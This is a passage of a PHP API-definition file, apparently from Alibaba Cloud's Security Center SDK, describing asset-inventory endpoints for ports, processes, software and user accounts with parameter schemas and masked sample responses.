\\"162eb349-c2d9-4f8b-805c-75b43d4c****\\",\\n \\"StartTime\\": \\"2019-08-07 10:09:05\\",\\n \\"Pname\\": \\"start***.s\\",\\n \\"InstanceName\\": \\"hc-host-****\\",\\n \\"Path\\": \\"/root/Oracle/Middleware/***/8888\\",\\n \\"Md5\\": \\"842644ea3d88bd7f7e14c1c089ef****\\",\\n \\"Name\\": \\"agetty\\",\\n \\"CreateTimestamp\\": 1565686951000,\\n \\"StartTimeDt\\": 1648783107000,\\n \\"IsPackage\\": 1,\\n \\"State\\": \\"sleeping\\",\\n \\"FileHash\\": \\"935c1861df1f4018d698e8b65abfa02d7e9037d8f68ca3c2065b6ca165d4****\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n AA47D46F-10DE-138C-BBB4-8A0003F75CD7\\n \\n 1\\n 10\\n 1\\n 1\\n \\n \\n 2022-04-05 17:06:06\\n 192.168.XX.XX\\n 12826\\n root\\n i-hp35tftuh52wbp1g****\\n ./8888\\n 1.2.3.2\\n root\\n 162eb349-c2d9-4f8b-805c-75b43d4c****\\n 2019-08-07 10:09:05\\n start***.s\\n hc-host-****\\n /root/Oracle/Middleware/***/8888\\n 842644ea3d88bd7f7e14c1c089ef****\\n agetty\\n 1565686951000\\n 1648783107000\\n 1\\n sleeping\\n \\n","errorExample":""}]', + 'title' => '查询进程资产的资产指纹', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribePropertyPortItem' => [ + 'summary' => '获取所有端口信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'ForceFlush', + 'in' => 'query', + 'schema' => [ + 'description' => '是否强制刷新待查询数据。', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'Port', + 'in' => 'query', + 'schema' => [ + 'description' => '端口号。', + 'type' => 'string', + 'required' => false, + 'example' => '22', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '5', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '结果的请求ID。', + 'type' => 'string', + 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', + ], + 'PageInfo' => [ + 'description' => '页面显示信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '163', + ], + 'Count' => [ + 'description' => '分页查询时，显示的当前页的数据条数。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + ], + ], + 'PropertyItems' => [ + 'description' => '端口信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Port' => [ + 'description' => '监听端口号。', + 'type' => 'string', + 'example' => '22', + ], + 'Count' => [ + 'description' => '端口对应的服务器数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '495', + ], + 'Proto' => [ + 'description' => '端口对应的网络协议。', + 'type' => 'string', + 'example' => 'tcp', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'DescribePropertyPortItem', + 'errorMessage' => 'get property port detail error', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 5,\\n \\"TotalCount\\": 163,\\n \\"Count\\": 5\\n },\\n \\"PropertyItems\\": [\\n {\\n \\"Port\\": \\"22\\",\\n \\"Count\\": 495,\\n \\"Proto\\": \\"tcp\\"\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\r\\n\\r\\n 7E0618A9-D5EF-4220-9471-C42B5E92719F\\r\\n \\r\\n\\t\\t\\t22\\r\\n\\t\\t\\ttcp\\r\\n\\t\\t\\t495\\r\\n\\t \\r\\n\\t \\r\\n\\t\\t\\t111\\r\\n\\t\\t\\ttcp\\r\\n\\t\\t\\t43\\r\\n\\t \\r\\n\\t \\r\\n\\t\\t\\t6000\\r\\n\\t\\t\\ttcp\\r\\n\\t\\t\\t2\\r\\n\\t \\r\\n\\t \\r\\n\\t\\t\\t53\\r\\n\\t\\t\\ttcp\\r\\n\\t\\t\\t1\\r\\n\\t \\r\\n\\t \\r\\n\\t\\t\\t80\\r\\n\\t\\t\\ttcp\\r\\n\\t\\t\\t38\\r\\n\\t \\r\\n \\r\\n\\t\\t\\t5\\r\\n\\t\\t\\t5\\r\\n\\t\\t\\t163\\r\\n\\t\\t\\t1\\r\\n\\t \\r\\n","errorExample":""}]', + 'title' => '获取所有端口信息', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribePropertyProcItem' => [ + 'summary' => '获取所有进程信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'ForceFlush', + 'in' => 'query', + 'schema' => [ + 'description' => '是否强制刷新待查询数据。', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '进程名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'test', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '10', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '结果的请求ID。', + 'type' => 'string', + 'example' => 'BD8AD4C6-A169-4FA3-BA1F-ED40ED52973B', + ], + 'PageInfo' => [ + 'description' => '页面显示信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，显示的当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '372', + ], + 'Count' => [ + 'description' => '分页查询时，显示的当前页的数据条数。'."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + ], + ], + 'PropertyItems' => [ + 'description' => '进程的信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => '进程名称。', + 'type' => 'string', + 'example' => '.ss', + ], + 'Count' => [ + 'description' => '进程名对应的服务器数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '8888', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"BD8AD4C6-A169-4FA3-BA1F-ED40ED52973B\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 5,\\n \\"TotalCount\\": 372,\\n \\"Count\\": 5\\n },\\n \\"PropertyItems\\": [\\n {\\n \\"Name\\": \\".ss\\",\\n \\"Count\\": 8888\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n\\n\\n (sd-**)\\n 7\\n\\n\\n 6Cm***\\n 1\\n\\nBD8AD4C6-A169-4FA3-BA1F-ED40ED52973B\\n\\n 2\\n 395\\n 2\\n 1\\n\\n","errorExample":""}]', + 'title' => '获取进程信息列表', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribePropertySoftwareDetail' => [ + 'summary' => '获取软件列表中一个软件的详细信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的服务器的名称或IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168.XX.XX', + ], + ], + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的软件的名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'kernel', + ], + ], + [ + 'name' => 'Path', + 'in' => 'query', + 'schema' => [ + 'description' => '软件的安装路径。', + 'type' => 'string', + 'required' => false, + 'example' => '/etc/test', + ], + ], + [ + 'name' => 'SoftwareVersion', + 'in' => 'query', + 'schema' => [ + 'description' => '软件的版本信息。', + 'type' => 'string', + 'required' => false, + 'example' => '3.10.0', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器的UUID。', + 'type' => 'string', + 'required' => false, + 'example' => '50d213b4-3a35-427a-b8a5-****', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页显示的软件资产的指纹信息的数量。默认值为**10**，表示每页显示10条软件资产的指纹信息。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '10', + ], + ], + [ + 'name' => 'InstallTimeStart', + 'in' => 'query', + 'schema' => [ + 'description' => '软件更新开始的时间戳。单位为毫秒。'."\n", + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1649321495000', + ], + ], + [ + 'name' => 'InstallTimeEnd', + 'in' => 'query', + 'schema' => [ + 'description' => '软件更新结束的时间戳。单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1650012695000', + ], + ], + [ + 'name' => 'Extend', + 'in' => 'query', + 'schema' => [ + 'description' => '软件名称是否支持模糊查询。要设置支持模糊查询时，请将该参数的取值设置为1，其他值或取值为空则表示不支持模糊查询。', + 'type' => 'string', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'UseNextToken', + 'in' => 'query', + 'schema' => [ + 'description' => '是否使用NextToken方式拉取资产列表数据。如果使用此参数TotalCount不再返回。取值：'."\n" + ."\n" + .'- **true**：使用NextToken方式。'."\n" + .'- **false**：不使用NextToken方式。', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'NextToken', + 'in' => 'query', + 'schema' => [ + 'description' => '用来标记当前开始读取的位置，置空表示从头开始。'."\n" + ."\n" + .'> 第一次调用不用填写，会在返回结果中包含第二次调用时用的NextToken，之后每次调用返回结果中都有下一次调用时的NextToken。', + 'type' => 'string', + 'required' => false, + 'example' => 'E17B501887A2D3AA5E8360A6EFA3B***', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '6AEE7412-0065-1135-B790-AE2C38BA68FB', + ], + 'PageInfo' => [ + 'description' => '查询结果页面显示的信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的软件资产的指纹信息的数量。默认值为**10**，表示每页显示10条软件资产的指纹信息。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'TotalCount' => [ + 'description' => '查询到的软件资产的指纹信息的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Count' => [ + 'description' => '当前页面显示的软件资产的指纹信息的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'NextToken' => [ + 'description' => '使用NextToken方式下返回的NextToken值。', + 'type' => 'string', + 'example' => 'B604532DEF982B875E8360A6EFA3B***', + ], + ], + ], + 'Propertys' => [ + 'description' => '查询到的软件资产的指纹信息的详情列表。', + 'type' => 'array', + 'items' => [ + 'description' => '查询到的软件资产的指纹信息的详情列表。', + 'type' => 'object', + 'properties' => [ + 'InternetIp' => [ + 'description' => '服务器的公网IP地址。', + 'type' => 'string', + 'example' => '192.168.XX.XX', + ], + 'Ip' => [ + 'description' => '服务器的IP列表。', + 'type' => 'string', + 'example' => '192.168.XX.XX', + ], + 'InstanceId' => [ + 'description' => '服务器的实例ID。', + 'type' => 'string', + 'example' => 'i-hp35tftuh52wbp1g****', + ], + 'IntranetIp' => [ + 'description' => '服务器的私网IP地址。', + 'type' => 'string', + 'example' => '100.104.XX.XX', + ], + 'InstallTime' => [ + 'description' => '软件的安装时间。', + 'type' => 'string', + 'example' => '2022-04-07 10:54:49', + ], + 'Uuid' => [ + 'description' => '服务器的UUID。', + 'type' => 'string', + 'example' => '162eb349-c2d9-4f8b-805c-75b43d4c****', + ], + 'Version' => [ + 'description' => '软件资产的版本信息。', + 'type' => 'string', + 'example' => '3.10.0', + ], + 'InstanceName' => [ + 'description' => '服务器实例的名称。', + 'type' => 'string', + 'example' => 'hc-host-****', + ], + 'Path' => [ + 'description' => '软件资产的安装目录信息。', + 'type' => 'string', + 'example' => '/etc/test', + ], + 'Name' => [ + 'description' => '软件的名称。', + 'type' => 'string', + 'example' => 'aaa_base', + ], + 'CreateTimestamp' => [ + 'description' => '资产指纹的最新扫描的时间戳。单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1649149566000', + ], + 'InstallTimeDt' => [ + 'description' => '软件的安装时间戳。单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1649066826000', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"6AEE7412-0065-1135-B790-AE2C38BA68FB\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 1,\\n \\"Count\\": 1,\\n \\"NextToken\\": \\"B604532DEF982B875E8360A6EFA3B***\\"\\n },\\n \\"Propertys\\": [\\n {\\n \\"InternetIp\\": \\"192.168.XX.XX\\",\\n \\"Ip\\": \\"192.168.XX.XX\\",\\n \\"InstanceId\\": \\"i-hp35tftuh52wbp1g****\\",\\n \\"IntranetIp\\": \\"100.104.XX.XX\\",\\n \\"InstallTime\\": \\"2022-04-07 10:54:49\\",\\n \\"Uuid\\": \\"162eb349-c2d9-4f8b-805c-75b43d4c****\\",\\n \\"Version\\": \\"3.10.0\\",\\n \\"InstanceName\\": \\"hc-host-****\\",\\n \\"Path\\": \\"/etc/test\\",\\n \\"Name\\": \\"aaa_base\\",\\n \\"CreateTimestamp\\": 1649149566000,\\n \\"InstallTimeDt\\": 1649066826000\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 6AEE7412-0065-1135-B790-AE2C38BA68FB\\n \\n 1\\n 10\\n 1\\n 1\\n \\n \\n 192.168.XX.XX\\n 192.168.XX.XX\\n i-hp35tftuh52wbp1g****\\n 100.104.XX.XX\\n 2022-04-07 10:54:49\\n 162eb349-c2d9-4f8b-805c-75b43d4c****\\n 3.10.0\\n hc-host-****\\n /etc/test\\n aaa_base\\n 1649149566000\\n \\n","errorExample":""}]', + 'title' => '获取软件列表中一个软件的详细信息', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribePropertySoftwareItem' => [ + 'summary' => '获取所有软件列表信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'ForceFlush', + 'in' => 'query', + 'schema' => [ + 'description' => '是否强制刷新待查询数据。', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '指定待查询的软件名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'test', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '指定返回结果的当前页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定列表每页显示数据条数 。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '10', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '请求ID。', + 'type' => 'string', + 'example' => '3A85CFCF-05C8-451A-9E41-C0D5E96BA407', + ], + 'PageInfo' => [ + 'description' => '返回结果的页面显示信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '返回结果中显示的当前页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '返回结果中每页显示数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'TotalCount' => [ + 'description' => '返回数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5037', + ], + 'Count' => [ + 'description' => '返回结果的当前页显示数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + ], + ], + 'PropertyItems' => [ + 'description' => '返回的软件列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => '返回的软件资产名称。', + 'type' => 'string', + 'example' => 'aaa_base', + ], + 'Count' => [ + 'description' => '返回结果中软件资产对应的服务器数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '23', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"3A85CFCF-05C8-451A-9E41-C0D5E96BA407\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 2,\\n \\"TotalCount\\": 5037,\\n \\"Count\\": 2\\n },\\n \\"PropertyItems\\": [\\n {\\n \\"Name\\": \\"aaa_base\\",\\n \\"Count\\": 23\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\r\\n\\r\\n\\t\\r\\n\\t\\t\\t2\\r\\n\\t\\t\\t2\\r\\n\\t\\t\\t5037\\r\\n\\t\\t\\t1\\r\\n\\t\\r\\n\\t\\r\\n\\t\\t\\ta11y-profile-manager-indicator\\r\\n\\t\\t\\t1\\r\\n\\t\\r\\n\\t\\r\\n\\t\\t\\taaa_base\\r\\n\\t\\t\\t23\\r\\n\\t\\r\\n\\t3A85CFCF-05C8-451A-9E41-C0D5E96BA407\\r\\n\\t","errorExample":""}]', + 'title' => '获取软件列表信息', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribePropertyUserDetail' => [ + 'summary' => '查询服务器的账户资产的指纹信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的服务器的名称或IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168.XX.XX', + ], + ], + [ + 'name' => 'User', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的服务器的账户名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'bin', + ], + ], + [ + 'name' => 'IsRoot', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的账户是否拥有ROOT权限。取值包括：'."\n" + ."\n" + .'- **0**：否'."\n" + .'- **1**：是', + 'type' => 'string', + 'required' => false, + 'example' => '0', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的服务器的UUID。', + 'type' => 'string', + 'required' => false, + 'example' => '50d213b4-3a35-427a-b8a5-04b0c7e1****', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页显示的账户资产的指纹信息的数量。默认值为**10**，表示每页显示10条账户资产的指纹信息。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '10', + ], + ], + [ + 'name' => 'LastLoginTimeStart', + 'in' => 'query', + 'schema' => [ + 'description' => '账户上次登录检索的开始时间戳。单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '164922523600', + ], + ], + [ + 'name' => 'LastLoginTimeEnd', + 'in' => 'query', + 'schema' => [ + 'description' => '账户上次登录检索的结束时间戳。单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1651298836000', + ], + ], + [ + 'name' => 'Extend', + 'in' => 'query', + 'schema' => [ + 'description' => '账户名称是否支持模糊查询。要设置支持模糊查询时，请将该参数的取值设置为**1**，其他值或取值为空则表示不支持模糊查询。'."\n", + 'type' => 'string', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'UseNextToken', + 'in' => 'query', + 'schema' => [ + 'description' => '是否使用NextToken方式拉取漏洞列表数据。如果使用此参数TotalCount不再返回。取值：'."\n" + ."\n" + .'- **true**：使用NextToken方式。'."\n" + .'- **false**：不使用NextToken方式。', + 'type' => 'boolean', + 'required' => false, + 'example' => 'false', + ], + ], + [ + 'name' => 'NextToken', + 'in' => 'query', + 'schema' => [ + 'description' => '用来标记当前开始读取的位置，置空表示从头开始。'."\n" + ."\n" + .'> 第一次调用不用填写，会在返回结果中包含第二次调用时用的NextToken，之后每次调用返回结果中都有下一次调用时的NextToken。', + 'type' => 'string', + 'required' => false, + 'example' => 'E17B501887A2D3AA5E8360A6EFA3B***', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '33A71BE3-2CC2-14CB-B460-33A1DD82953A', + ], + 'PageInfo' => [ + 'description' => '查询结果页面显示的信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的账户资产的指纹信息的数量。默认值为**10**，表示每页显示10条账户资产的指纹信息。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'TotalCount' => [ + 'description' => '查询到的账户资产的指纹信息的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Count' => [ + 'description' => '当前页面显示的账户资产的指纹信息的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'NextToken' => [ + 'description' => '使用NextToken方式下返回的NextToken值。', + 'type' => 'string', + 'example' => 'B604532DEF982B875E8360A6EFA3B***', + ], + ], + ], + 'Propertys' => [ + 'description' => '查询到的账户资产的指纹信息的详情列表。', + 'type' => 'array', + 'items' => [ + 'description' => '查询到的账户资产的指纹信息的详情列表。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '此参数已废弃，无须关注。', + 'type' => 'string', + 'example' => '**', + ], + 'LastLoginIp' => [ + 'description' => '账户上次登录的来源IP。', + 'type' => 'string', + 'example' => '192.168.XX.XX', + ], + 'InternetIp' => [ + 'description' => '服务器的公网IP地址。', + 'type' => 'string', + 'example' => '192.168.XX.XX', + ], + 'LastLoginTime' => [ + 'description' => '账户上次登录的时间。', + 'type' => 'string', + 'example' => '2022-04-04 18:07:06', + ], + 'IsRoot' => [ + 'description' => '账户是否拥有ROOT权限。取值包括：'."\n" + ."\n" + .'- **0**：否'."\n" + .'- **1**：是', + 'type' => 'string', + 'example' => '0', + ], + 'Ip' => [ + 'description' => '服务器的IP列表。', + 'type' => 'string', + 'example' => '192.168.XX.XX', + ], + 'User' => [ + 'description' => '账户的名称。', + 'type' => 'string', + 'example' => 'bin', + ], + 'InstanceId' => [ + 'description' => '服务器的实例ID。', + 'type' => 'string', + 'example' => 'i-hp35tftuh52wbp1g****', + ], + 'IntranetIp' => [ + 'description' => '服务器的私网IP地址。', + 'type' => 'string', + 'example' => '100.104.XX.XX', + ], + 'PasswordExpirationDate' => [ + 'description' => '账户密码的到期时间。', + 'type' => 'string', + 'example' => 'never', + ], + 'Uuid' => [ + 'description' => '服务器的UUID。', + 'type' => 'string', + 'example' => '162eb349-c2d9-4f8b-805c-75b43d4c****', + ], + 'LastLoginTimestamp' => [ + 'description' => '账户上次登录的时间戳。单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1649066826000', + ], + 'InstanceName' => [ + 'description' => '服务器实例的名称。', + 'type' => 'string', + 'example' => 'hc-host-****', + ], + 'AccountsExpirationDate' => [ + 'description' => '账号的到期时间。', + 'type' => 'string', + 'example' => 'never', + ], + 'CreateTimestamp' => [ + 'description' => '资产指纹的最新扫描的时间戳。单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1649149566000', + ], + 'GroupNames' => [ + 'description' => '查询到账户的用户组的详情信息。', + 'type' => 'array', + 'items' => [ + 'description' => '查询到账户的用户组的详情信息。', + 'type' => 'string', + 'example' => '["bin"]', + ], + ], + 'LastLoginTimeDt' => [ + 'description' => '账户上次登录的时间戳。单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1649066826000', + ], + 'IsPasswdExpired' => [ + 'description' => '密码是否过期。取值：'."\n" + ."\n" + .'- **0**：已过期'."\n" + .'- **1**：未过期', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'IsPasswdLocked' => [ + 'description' => '密码是否锁定。取值：'."\n" + ."\n" + .'- **0**：已锁定'."\n" + .'- **1**：未锁定', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'IsUserExpired' => [ + 'description' => '用户是否过期。取值：'."\n" + ."\n" + .'- **0**：已过期'."\n" + .'- **1**：未过期', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'IsCouldLogin' => [ + 'description' => '是否为交互登录账号。取值：'."\n" + ."\n" + .'- **0**：否'."\n" + .'- **1**：是', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'IsSudoer' => [ + 'description' => '是否为sudo账户。取值：'."\n" + 